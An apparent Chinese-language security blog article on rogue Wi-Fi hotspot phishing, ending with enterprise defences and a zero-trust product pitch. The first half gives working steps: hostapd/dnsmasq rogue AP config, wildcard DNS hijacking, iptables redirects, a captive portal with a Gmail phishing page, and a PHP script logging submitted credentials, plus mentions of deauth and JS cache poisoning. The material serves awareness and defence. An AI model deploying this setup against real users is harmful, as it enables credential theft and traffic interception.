无线钓鱼是一个广受关注但难以根治的热点安全话题。本文中,我将以攻击者视角揭露无线钓鱼攻击的技术原理,包括DNS劫持、Captive Portal、JS缓存投毒等有趣的攻击利用。随后将探讨企业该如何帮助员工应对无线钓鱼攻击。企业内做钓鱼热点防护就够了吗?如何进行有效的无线安全意识培训?使用VPN就能抗住所有攻击?员工在非信任无线网络中进行远程办公是不可避免的安全挑战,零信任产品带来了更多的解决思路。
1. 无线钓鱼的背景
从无线网络接入者的角度来看,其安全性完全取决于无线网络搭建者的身份。受到各种客观因素的限制,很多数据在无线网络上传输时都是明文的,如一般的网页、图片等;还有很多网站或邮件系统甚至在手机用户进行登录时,将账号和密码也进行了明文传输或只是简单加密传输。
1.1 Wi-Fi绵羊墙
很长时间中,无线网络的安全风险一直未被公众所熟知。2015年的央视3·15晚会“钓鱼热点”环节的演示,才第一次让国内较为广大的群体对此有了直观认识。
在晚会现场,观众加入主办方指定的一个 Wi-Fi 网络后,用户手机上正在使用哪些软件、用户通过微信朋友圈浏览的照片等信息就都被显示在了大屏幕上。不仅如此,现场大屏幕上还展示了很多用户的电子邮箱信息。
特别值得一提的是,主持人在采访一位邮箱密码被展示出来的现场观众时,这位观众明确表示,到现场以后并没有登录电子邮箱。造成这种情况的原因是该用户所使用的电子邮箱软件在手机接入无线网络后,自动联网进行了数据更新,而在更新过程中,邮箱的账号和密码都被进行了明文传输。这个现场实验告诉我们:攻击者通过钓鱼热点盗取用户个人信息,用户往往是完全感觉不到的。
这个演示环节的灵感其实是来源于 DEFCON 黑客大会 Wireless Village 上有名的绵羊墙(The Wall of Sheep)。绵羊墙将收集的账号和隐匿的密码投影在银幕上,告诉人们:“你很可能随时都被监视。”同时也是为了让那些参会者难堪——来参加黑客大会的人,自身也不注意安全。
1.2 真实案例
l 用户在钓鱼热点中进行网购导致密码泄漏,被盗刷2000元。
l 咖啡店无线网络被植入恶意代码,利用用户设备挖掘门罗币。
l 腾讯内网有员工反馈在地铁站中自动连上伪造的公司热点“XXXXWiFi”,被迫浏览“反宣文案”。
2. 无线钓鱼底层原理探析
本节将通过搭建一个无线钓鱼热点,展示该攻击方式的危害性、隐蔽性和低成本性。读者将学习到构造一个精密的无线钓鱼网络所涉及的所有实现原理,包括如何使用无线网卡创建热点、如何吸引更多用户连接热点、如何嗅探网络中的敏感信息、如何利用钓鱼网页获取用户敏感信息以及如何配置 Captive Portal 强制用户访问钓鱼界面。
需要注意的是,本节的实验需要无线网卡支持 AP 模式才能建立热点,如Atheros AR9271、Atheros RTL8812等。
2.1创建无线热点
hostapd是用于AP和认证服务器的守护进程,它实现了与IEEE 802.11相关的接入管理,支持IEEE 802.1X、WPA、WPA2、EAP、OPEN等认证方式。首先,创建配置文件open.conf:
代码语言:javascript复制open.conf
interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g
其中 interface 表示无线网卡接口名称,ssid 表示热点名称,channel 表示信道,hw_mode 用于指定无线模式,g代表 IEEE 802.11g。读者可根据实际情况做相应修改。
除了创建接入点本身外,还需要配置 DHCP 和 DNS 等基础服务。dnsmasq 是一款可同时提供 DNS 和 DHCP 服务功能、较易配置的轻量工具。其默认配置文件为/etc/dnsmasq.conf,其中包含大量的注释,用以说明各项功能及配置方法。在默认情况下,它会开启 DNS 功能,同时加载系统/etc/resolv.conf 文件中的内容作为上游 DNS 信息。只需要在配置文件中设置特定的 DHCP 地址池范围和所服务的网络接口即可。代码如下:
代码语言:javascript复制/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0
在运行 hostapd 创建热点前,还需要使用几条命令消除系统对网卡 AP 功能的限制,同时为网卡配置 IP 地址、掩码等信息,最后才能启动 hostapd 程序。命令如下:
nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
systemctl restart dnsmasq
hostapd open.conf
2.2 吸引用户连接
将热点名称设置为 Free WiFi 类似的字眼就能吸引许多蹭网的用户主动连接。除此外,攻击者还有其他办法让手机等设备自动连上热点,例如构建一个用户之前连过的热点名称(如CMCC、StarBucks 等),同样为无加密的方式。当无线设备搜索到该同名、同加密类型的历史连接热点(后文称为已保存网络列表)就会尝试自动连接。那么,是否可以通过某种方式获取无线设备的已保存网络列表信息呢?
无线设备为了加快连接速度,在执行主动扫描时会对外广播曾经连接过的无线热点名称。一旦攻击者截获这个广播,自然就能知道用户连过哪些热点,随后把所有的无线热点名称伪造出来欺骗设备自动连接。
2004 年,Dino dai Zovi 和 Shane Macaulay 两位安全研究员发布了 Karma 工具。Karma 能够收集客户端主动扫描时泄露的已保存网络列表并伪造该名称的无密码热点,吸引客户端自动连接。
如上图所示,一个客户端发出了对两个不同热点名称(Home 和 Work)的 Probe Request 请求, Karma 对包含这两个热点名称的请求都进行了回复。这实际上违反了 802.11 标准协议,无论客户端请求任何 SSID,Karma 都会向其回复表示自己就是客户端所请求的热点,使客户端发起连接。
一款知名的无线安全审计设备——WiFi Pineapple(俗称“大菠萝”)便内置了 Karma 攻击的功能,由无线安全审计公司 Hak5 开发并售卖,从 2008 年起到目前已经发布到第七代产品。
Hak5 公司的创始人 Darren Kitchen 曾在一次会议上发表了有关的安全演讲。在现场,他开启Pineapple 进行演示,在屏幕上展示了一份长长的设备清单,包含黑莓、iPhone、Android 和笔记本电脑等。这些设备自认为连接到了宾馆或星巴克的 Wi-Fi 热点,实际上它们都受到了 WiFi Pineapple 的欺骗而连接到其所创建的钓鱼网络。
不过在今天,Karma 攻击已经不太好使了。因为各手机厂商了解到 Directed Probe Request 会泄露已保存网络列表信息,可能导致终端遭到钓鱼攻击,所以在较新版本的手机系统中都改变了主动扫描的实现方式:主要是使用不带 SSID 信息的 Broadcast Probe Request 取代会泄露信息的 Directed Probe Request,两者的对比如下图所示。
我们可以采取一些简单的策略吸引用户连接:
l 选择一家提供免费无线网络、还提供电源和座位的咖啡馆 l 热点名称改为与店里的免费热点名称一致 l 同时发起deauth拒绝服务攻击使周围客户端掉线触发重连
如此就可以将周围的无线客户端吸引到我们的钓鱼热点上。
2.3 嗅探敏感信息
当我们的设备能通过无线或有线的方式接入互联网时,为了使用户设备上的软件有更多网络交互并获取更多的信息,可以将钓鱼网络的流量转发至拥有互联网权限的网卡,从而使钓鱼网络也能连上外网。可以按照下面的操作步骤进行。首先开启 IP 路由转发功能:
代码语言:javascript复制sysctl -w net.ipv4.ip_forward=1
随后还需设置 iptables 规则,将来自钓鱼网络的数据包进行 NAT(network address translation,网络地址转换)处理并转发到外网出口。
代码语言:javascript复制iptables -t nat - POSTROUTING -o eth0 -j MASQUERADE
当用户连入网络后,由于所有的网络请求都将经由我们的网卡进行转发,所以可以使用 Wireshark、 Tcpdump 等工具直接观察经过该无线网卡的所有流量。
Driftnet 是一款简单、实用的图片捕获工具,可以很方便地抓取网络流量中的图片。使用
代码语言:javascript复制driftnet -i wlan0
命令运行 Driftnet 程序,会在弹出的窗口中实时显示用户正在浏览的网页中的图片。
2.4 配置恶意DNS服务
很多时候,我们会面临无外网的情况,用户设备上的软件由于无法与其服务器交互,大大减少了敏感信息暴露的机会。除了被动嗅探流量中的信息外,还可以在本地部署钓鱼网站来诱导用户填入敏感信息。
无线客户端连接网络时,通过 DHCP 服务不仅能获取到本地的 IP 地址,还包括 DHCP 服务指定的 DNS 服务地址。当我们可以决定用户的 DNS 解析结果时,钓鱼攻击就可以达到比较完美的效果——界面和域名都与真实网址一致。在本节中,我们将学习如何操纵用户的 DNS 解析结果,从而将用户对任意网址的访问解析到本地。
实验目的:克隆 www.google.cn 界面到本地,并使无线客户端对指定网页的访问指向该克隆界面。
(1)打开网页 www.google.cn,通过把网页“另存为”的方式,将代码下载到本地。接着需要配置 Web 服务器,以 nginx 为例,打开配置文件/etc/nginx/sites-enable/default,输入以下内容:
代码语言:javascript复制server {
listen 80 default_server;
root /var/www/fakesite;
index index.html
location / {
try_files $uri $uri/ /index.html;
}
}
(2) 该配置文件指定本地 Web 服务监听 80 端口并以/var/www/fakesite 为根目录,将下载的 HTML代码放置到 Web 目录中并重启 nginx 服务,随后通过浏览器访问 172.5.5.1 查看效果。随后对 DNS 服务进行配置,同样打开 dnsmasq 的配置文件/etc/dnsmasq.conf,以 address=/url/ip的格式写入解析规则,表示将指定 URL 解析到指定 IP 地址。如果 url 处填写为#,将解析所有的地址,随后重启 dnsmasq 服务。
代码语言:javascript复制/etc/dnsmasq.conf
address=/#/172.5.5.1
systemctl restart nginx
systemctl restart dnsmasq
(3)通过手机连接该热点,对任意地址进行访问测试(如 baidu.com),如果配置无误,将出现如图所示的效果。
2.5 配置Captive Portal
Captive Portal 认证通常被部署在公共无线网络中,当未认证用户连接时,会强制用户跳转到指定界面。
在 iOS、Android、Windows、Mac OS X 等系统中其实已经包含了对 Captive Portal 的检测,以 Android 系统为例,当设备连入无线网络时会尝试请求访问clients3.google. com/generate_204并根据返回结果来判断网络状况。
l 当返回 HTTP 204 时,表示网络正常; l 如果返回了HTTP 302 跳转,手机就会认为该网络存在网络认证,并以弹窗等方式显示在手机中,如下图所示的提示信息。 l iOS、Windows 等系统也都采取类似的检测逻辑。
单击该提示就会直接打开认证界面。显然,一个热点配置了 Captive Portal 后会更显得像是一个“正式”的热点,同时利用该特性能让用户直达钓鱼界面。
我们使用iptables来转换流量。iptables 是一种能完成封包过滤、重定向和网络地址转换(NAT)等功能的命令行工具。借助这个工具可以把用户的安全设定规则执行到底层安全框架 netfilter 中,起到防火墙的作用。
通过 iptables 对来自无线网络的流量进行配置:
代码语言:javascript复制iptables -t nat -A PREROUTING -i wlan0 -p tcp —dport 80 -j DNAT —to-destination 172.5.5.1:80
iptables -t nat -A PREROUTING -i wlan0 -p udp —dport 53 -j DNAT —to-destination 172.5.5.1:53
iptables -t nat -A PREROUTING -i wlan0 -p tcp —dport 53 -j DNAT —to-destination 172.5.5.1:53
在上述命令中,第1行表示将来自 NAT 网络的对 80 端口的数据请求都指向 172.5.5.1 的 80 端口;第 2~3 行表示将来自 NAT 网络的对 53 端口的 TCP、UDP 请求都指向 172.5.5.1的 53 端口。
接下来的任务是在本地启动HTTP服务,并配置网页信息及对相应请求的 302跳转等。同样以nginx为例,打开/etc/nginx/sites-enabled/default 文件,修改为以下配置:
代码语言:javascript复制server {
listen 80 default_server;
root /var/www/html;
location / {
try_files $uri $uri/ /index.html;
}
location ~ .php$ {
includesnippets/fastcgi-php.conf;
fastcgi_passunix:/var/run/php/php7.0-fpm.sock;
}
}
在上述配置中,会将/var/www/html 指定为 Web 根目录,当访问不存在的路径时都会被 302 跳转到 index.html 文件。同时还开启了对 PHP 文件的解析,因为后续会使用 PHP 程序来将用户输入的账号保存到本地。
使用网络上下载的Gmail钓鱼模板,将提交账号信息的form表单指向post.php。
代码语言:javascript复制#post.php
<?php
$file = 'log.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<meta http-equiv="refresh" content="0; url=./.." />
最后,重启nginx 及php 服务使配置生效,命令如下:
代码语言:javascript复制systemctl restart nginx
systemctl restart php7.0-fpm
使用手机连接该热点,会立即得到需要认证的提示。打开提示后便出现了预设的钓鱼界面。可以尝试在登录框中输入任意账号密码并单击Sign in 按钮进行提交。
在Web 根目录下,可以查看记录了用户输入信息的log.txt 文件,内容如下图所示。
2.6 其他的利用案例
l 在多届Pwn2own比赛上,许多通过浏览器发起的攻击都利用了Wi-Fi Captive Portal的特性来触发浏览器漏洞。
l 在2018年日本CodeBlue会议上,笔者和前同事展示了一个议题《RCE with Captive Portal)》,介绍了一种组合攻击方法,利用无线网络强制门户的特性与Windows系统的一系列漏洞来达到远程代码执行的效果。 l JS缓存投毒
由于在钓鱼热点中可以劫持DNS服务器,加上企业内网存在大量非https的网站现状,攻击者可以有针对性的将恶意JS文件缓存在受害者浏览器中,当员工访问内网时恶意JS文件将会被唤醒执行。
3. 企业无线钓鱼防护的窘境与突破
3.1 普通用户的应对策略
前面的内容以攻击者的角度详细讨论了钓鱼热点的构建方式及可能造成的危害,相信读者已经体会到这是一种低成本、高回报的攻击方式。那么作为普通用户,该如何避免遭到钓鱼热点的攻击呢?可以遵循以下简单规则来保护个人数据:
(1) 对公共Wi-Fi网络采取不信任的态度,尽量不连接没有密码保护的无线网络。
(2) 在使用公共热点时,尽量避免输入社交网络、邮件服务、网上银行等登录信息,避免使用网银、支付宝等包含敏感信息的应用软件。
(3) 在不使用Wi-Fi时关闭Wi-Fi功能,避免自动连接功能带来的风险。
(4) 在有条件的情况下,使用虚拟专用网络(VPN)连接,这将使用户数据通过受保护的隧道传输。
3.2 企业无线钓鱼防护的窘境
普通用户的应对策略都依靠用户自身的安全意识,实际上对于企业级用户而言,要求每一位员工都拥有良好的无线安全意识且能在日常使用时做到,是很难达到的。当然,企业也会采取其他一些防护措施以尽可能缓解无线安全威胁,但效果都不够理想,常见以下三个话题:
l 如何做有效的无线安全意识培训? l 部署WIPS产品阻断恶意热点能解决所有问题吗? l VPN能抗住所有攻击吗?
(1)**无线安全意识培训**
笔者在前公司安全团队曾策划了一次针对公司内部全体员工的RedTeam无线钓鱼活动,通过精心设计“薅羊毛活动”、精美的彩印宣传单、钓鱼网页等素材,在约半小时内诱导80位员工连入钓鱼热点并获取他们的域账号。下图为前老板对该次无线钓鱼演习的评论,以此督促全体员工加强对无线安全的重视。
事实上,在该活动实施的前一个月正是内部的“无线安全月”,在公司内部通过大量的文字和宣传册,以及参与活动领奖品的方法来告诉员工无线安全的重要性和注意事项。但实践说明,再多的安全播报、新闻稿可能抵不过一条薅羊毛信息。而对于参与到该钓鱼活动并中招的员工来说,可能他这辈子都能记住不要乱连Wi-Fi及核实消息来源。
(2)**WIPS阻断热点**
部分企业AP产品或单独部署的WIPS产品(无线入侵防御系统)带有热点阻断功能,通过MAC地址黑白名单的策略来触发自动阻断嫌疑热点,但从实际的运营中会发现会残留以下问题:
l 攻击者可能伪造白名单热点的MAC地址。 l 对于非同名的钓鱼热点,很难发现与监管。 l 防御范围仅能实施在大厦内。
因此,阻断热点的功能并不能解决所有的钓鱼热点问题。
(3) VPN
在Wi-Fi场景中,根据Captive Portal和VPN状态可划分出三个阶段:
- Captive Portal认证前。
- Captive Portal认证后、VPN连接前。
- VPN连接后。
大部分VPN产品仅能在第三阶段提供流量加密和部分防护功能,而在第二节的内容中我们已经了解到了在VPN开启前攻击无线客户端的多种手法,所以想单凭VPN的能力来防范所有的无线攻击是不现实的。
3.3 企业无线钓鱼防护的突破
在2020年疫情大背景下,全球企业都被迫加速员工移动化办公、远程办公的实施进程,这也再次带动了业界对网络边缘安全性的重点关注。
我在导读中提到“员工在非信任无线网络中进行远程办公是不可避免的安全挑战”,在远程办公这种脱离内网的网络条件下,无法采取网络层面的入侵检测等防护手段,唯一可实施切入的便是终端上的安全能力,但传统的VPN产品和终端安全软件产品在提供安全管控、身份管理、访问准入的能力上是各自为战、相互割裂的状态,这就亟需一种有效的方式把这些能力联合在一起,可以根据具体场景相互配合来为决策提供信息支撑。
在我加入腾讯,实际体验使用了内部的iOA零信任产品后,发现在零信任网络接入的框架下,员工终端设备需要具有终端检测和防护等安全模块,对每一个访问企业资源的会话请求,都需要进行用户身份验证、设备安全状态、软件应用安全状态检查和授权,并进行全链路加密。过程中的验证本质上就是一系列的合规检查,从逻辑上可划分为四类:可信身份、可信终端、可信应用、可信链路,如下图所示。
针对我们在公共场所远程办公的场景,新接入的设备需要统一安装Agent,通过远程下发策略提供统一标准化的要求,其中就可以把对无线钓鱼攻击的检测和防护作为安全准入的合规条件,如下图所示。
因此,我们再次回头看看前文提到的多种无线钓鱼攻击手段,可以发现,以零信任理念构建的终端安全产品可以做到防止员工连入钓鱼热点,或即使连入了钓鱼热点也能受到保护:
伪造公司热点无线钓鱼攻击——公司内部真实无线热点的数据我们是掌握的,因此当用户设备主动或被动连接开放式网络时,零信任终端安全产品可结合正在连接热点的MAC地址及其他无线特征进行WiFi接入点身份验证,验证失败时拒绝访问请求并警告用户遭到无线钓鱼攻击。 DNS劫持——当设备通过DHCP服务获取IP地址时,也采取了该网络指定的DNS地址。零信任终端安全产品可以对设备DNS状态进行合规性检查,可以采取强制指定DNS服务地址的策略,或检测该DNS服务对互联网重点域名或公司相关域名的解析是否正常。验证失败时拒绝访问请求并帮助用户修复异常DNS状态。 Captive Portal安全加固——Captive Portal实现依赖于阶段性的DNS劫持,如果一开始就修正DNS,可能导致用户无法跳转到认证页面完成认证。因此,需要对Captive Portal进行检测并实施相应的加固。在用户完成网络认证后,再进行DNS缓存清理和修正工作。 认证网页钓鱼——攻击者可能利用Captive Portal认证页面对员工进行社工欺骗,获取其敏感信息等。零信任终端安全产品可以对Captive Portal浏览器进行安全加固,并加上醒目的安全提示,避免员工主动输入企业相关敏感信息。 Windows hash泄漏——零信任终端安全产品可以对此进行安全加固,防止Windows hash被泄漏。 局域网攻击威胁——当员工设备连入目标无线网络后,设备所开放的各种服务端口可能被局域网中的其他设备所利用或攻击,零信任终端安全产品同样具有传统终端安全软件的防护能力,以发现并阻断来自网络的攻击。 敏感信息监听威胁——攻击者可在网关处监听到所有的明文流量,零信任终端安全产品通过开启全链路加密来避免链路上的监听威胁。
通过对以上攻击手段的逐一分析,可以发现,零信任架构下的终端安全产品可以在无线网络接入的多个阶段帮助设备缓解攻击威胁。在对内网服务发起访问请求时,可以对设备进行多维度的安全合规验证,验证失败时请求会被拒绝,告知用户当前异常状态并帮助用户进行相应清洗。当验证通过后,会建立起全链路加密来保护所有网络流量。
正因如此,笔者认为零信任架构可以很好的帮助企业解决无线钓鱼攻击等各类无线安全顽疾。